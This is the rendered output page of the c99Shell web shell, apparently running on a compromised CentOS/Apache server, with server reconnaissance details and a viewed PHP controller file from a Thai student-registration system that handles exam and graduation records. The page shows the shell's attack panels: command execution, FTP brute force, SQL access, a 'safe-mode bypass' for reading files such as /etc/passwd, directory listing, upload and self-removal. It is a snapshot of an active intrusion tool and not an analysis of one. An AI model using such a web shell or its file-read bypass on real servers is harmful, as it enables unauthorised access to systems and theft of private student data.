!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/application/controllers/eregis/   drwxr-xr-x
Free 50.99 GB of 127.8 GB (39.89%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     graduate.php (8.4 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include('rg_controller.php');
class 
Graduate extends Rg_controller {

    function 
__construct() {
        
parent::__construct();
        if(
strpos($this->config->item('rg_wg_graduate'), $this->session->userdata('UsWgID')) === false){
            
//redirect("logout");
        
}
    }

    
// ##### start บันทึก exit-exam
    
function searchResultExitExam() {
        
$this->load->model($this->config->item("rg_folder").'mo_rg_curriculum','cur');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_studyyear','sy');

        
$con_rs_cur = array('curStatus'    => 'Y');
        
$ord_rs_cur = array('curName'    => 'ASC');
        
$this->contents['rs_cur'] = $this->cur->get_options($con_rs_cur$ord_rs_cur'''y');

        
$opt = array();
        
$rs_sy $this->sy->qrySy();
        if (
$rs_sy->num_rows()) {
            
$opt[''] = '';
            foreach (
$rs_sy->result() as $row_sy) {
                if (
$row_sy->syCode==|| $row_sy->syCode==4) {
                    
$opt[$row_sy->syId] = $row_sy->syName;
                }
            }
        }
        
$this->contents['rs_sy'] = $opt;

        
$this->output($this->config->item("rg_folder")."v_searchResultExitExam");
    }

    
// ##### การสอบรวบยอดของสถาบันพระบรมราชชนก
    
function searchResultCompsExam() {
        
$this->load->model($this->config->item("rg_folder").'mo_rg_curriculum','cur');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_studyyear','sy');

        
$con_rs_cur = array('curStatus'    => 'Y');
        
$ord_rs_cur = array('curName'    => 'ASC');
        
$this->contents['rs_cur'] = $this->cur->get_options($con_rs_cur$ord_rs_cur'''y');

        
$opt = array();
        
$rs_sy $this->sy->qrySy();
        if (
$rs_sy->num_rows()) {
            
$opt[''] = '';
            foreach (
$rs_sy->result() as $row_sy) {
                if (
$row_sy->syCode==|| $row_sy->syCode==4) {
                    
$opt[$row_sy->syId] = $row_sy->syName;
                }
            }
        }
        
$this->contents['rs_sy'] = $opt;

        
$this->output($this->config->item("rg_folder")."v_searchResultCompsExam");
    }


    function 
addResultExitExam() {
        
$this->load->library('form_validation');
        
$this->form_validation->set_error_delimiters('<div class="error">','</div>');
        
$this->form_validation->set_rules('curId',' ','trim|required|xss_clean'); // callback_checkselect
        
$this->form_validation->set_rules('syId',' ','trim|required|xss_clean');

        if(
$this->form_validation->run() == true) {
            
$this->resultExitExam_input();
        } else {
            
$this->searchResultExitExam();
        }
    }

    function 
addResultCompsExam(){
        
$this->load->library('form_validation');
        
$this->form_validation->set_error_delimiters('<div class="error">','</div>');
        
$this->form_validation->set_rules('curId',' ','trim|required|xss_clean'); // callback_checkselect
        
$this->form_validation->set_rules('syId',' ','trim|required|xss_clean');

        if(
$this->form_validation->run() == true) {
            
$this->resultCompsExam_input();
        } else {
            
$this->searchResultCompsExam();
        }
    }


    function 
resultExitExam_input() {
        
$curId $this->input->post('curId');
        
$syId $this->input->post('syId');
        
        
$this->load->model($this->config->item("rg_folder").'mo_rg_curriculum','cur');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_studyyear','sy');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_student','std');

        
$this->cur->curId $curId;
        
$this->contents['qu_cur'] = $this->cur->get_by_key();

        
$this->sy->syId $syId;
        
$this->contents['qu_sy'] = $this->sy->get_by_key();

        
$con_rs_std = array('stdCurId'    => $curId,
                            
'stdSyId'    => $syId);
        
$ord_rs_std = array('stdCode'    => 'ASC');
        
$this->contents['rs_std'] = $this->std->qryStdJoinPfMoe($con_rs_std,$ord_rs_std);

        
$this->output($this->config->item("rg_folder")."v_addResultExitExam");
    }

    function 
resultCompsExam_input(){
        
$curId $this->input->post('curId');
        
$syId $this->input->post('syId');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_curriculum','cur');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_studyyear','sy');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_student','std');

        
$this->cur->curId $curId;
        
$this->contents['qu_cur'] = $this->cur->get_by_key();

        
$this->sy->syId $syId;
        
$this->contents['qu_sy'] = $this->sy->get_by_key();

        
$con_rs_std = array('stdCurId'    => $curId,
                            
'stdSyId'    => $syId);
        
$ord_rs_std = array('stdCode'    => 'ASC');
        
$this->contents['rs_std'] = $this->std->qryStdJoinPfComPos($con_rs_std,$ord_rs_std);

        
$this->output($this->config->item("rg_folder")."v_addResultCompsExam");
    }

    function 
processResultExitExam() {
        
$this->load->model($this->config->item("rg_folder").'mo_rg_student','std');
        
        
$cnt $this->input->post('cnt');

        
$this->db->trans_begin();
        for(
$i=0$i<$cnt$i++) {
            if(
$this->input->post('exitExam'.$i)) {
                
                
$this->std->stdId $this->input->post('stdId'.$i);
                
$this->std->get_by_key(TRUE);

                
$this->std->stdExitExam $this->input->post('exitExam'.$i);
                
$this->std->stdUpdateDate date('Y-m-d H:i:s');
                
$this->std->stdUpdateUsLogin $this->session->userdata('UsLogin');
                
$this->std->update();
            }
        }

        if(
$this->db->trans_status() === false)
            
$this->db->trans_rollback();
        else
            
$this->db->trans_commit();

        
$this->resultExitExam_input();
    }
    
// ##### end บันทึก exit-exam

    // #####  บันทึก exit-exam
    
function processResultCompsExam() {
        
$this->load->model($this->config->item("rg_folder").'mo_rg_student','std');
        
        
$cnt $this->input->post('cnt');

        
$this->db->trans_begin();
        for(
$i=0$i<$cnt$i++) {
            if(
$this->input->post('CompsExam'.$i)) {
                
/*$this->std->stdId = $this->input->post('stdId'.$i);
                $this->std->get_by_key(TRUE);
                $this->std->CompsExam = $this->input->post('CompsExam'.$i);
                $this->std->stdUpdateDate = date('Y-m-d H:i:s');
                $this->std->stdUpdateUsLogin = $this->session->userdata('UsLogin');
                $this->std->update();*/
                
$this->std->CompsExamUpdate($this->input->post('stdId'.$i),$this->input->post('CompsExam'.$i));
            }
        }

        if(
$this->db->trans_status() === false)
            
$this->db->trans_rollback();
        else
            
$this->db->trans_commit();

        
$this->resultCompsExam_input();
    }
    
// ##### end บันทึก exit-exam

    // ##### ประมวลผลการสำเร็จการศึกษาตามหลักสูตร 
    
function showExpectGDCur() {

        
$this->output($this->config->item("rg_folder")."v_showExpectGDCurriculum");
    }
    
// ##### จบประมวลผลการสำเร็จการศึกษาตามหลักสูตร 

    // ##### ประมวลผลการสำเร็จการศึกษารายนักศึกษา
    
function showExpectGD() {
        
$this->contents['std'] = '';
        
$this->output($this->config->item("rg_folder")."v_showExpectGD");
    }


//    function showDetailExpectGD() {
//        $this->load->model($this->config->item("rg_folder").'mo_rg_student','std');
//        $this->load->model($this->config->item("rg_folder").'mo_rg_registdetails','rd');
//
//        $stdId = $this->input->post('stdId');
//        $csCdId1 = $this->input->post('csCdId1');
//        $csCdId2 = $this->input->post('csCdId2');
//
//        $con_qu_std = array('stdId'    => $stdId);
//        $this->contents['qu_std'] = $this->std->qryPfCurSyTm($con_qu_std);
//
//        $con_rs_rd = array('rdStdId'    => $stdId,
//                           'rdCdId1'    => $csCdId1,
//                           'rdCdId2'    => $csCdId2);
//        $this->contents['rs_rd'] = $this->rd->qryRdJoinCoCrs($con_rs_rd,'','');
//
//        $this->output_detail($this->config->item("rg_folder")."v_showDetailExpectGD");
//    }

    
function checkGradeByStdId($stdId, &$msg) {
        
$this->load->model($this->config->item("rg_folder").'mo_rg_registdetails','rd');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_courseopen','co');
        
$this->load->model($this->config->item("rg_folder").'mo_rg_course','crs');

        
$i 0;
        
$gradeStr "'I', 'E', 'P', 'X', ''";
        
$rs_rd $this->rd->qryRdByStdIdGrade($stdId$gradeStr);
        foreach (
$rs_rd->result() as $row_rd) {
            
$this->co->coId $row_rd->rdCoId;
            
$this->co->get_by_key(TRUE);

            
$this->crs->crsId $this->co->coCrsId;
            
$this->crs->get_by_key(TRUE);

            if (
$i == 0) {
                
$msg '<b>รายวิชาที่ยังไม่ได้ส่งเกรด :</b><br />';
            }
            
$msg .= $this->crs->crsCode.' '.$this->crs->crsName.' เกรด '.$row_rd->rdGrade.'<br />';
            
            
$i++;
        }
        
        if (
$i) {
            return 
0;
        } else {
            return 
1;
        }
    }
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0065 ]--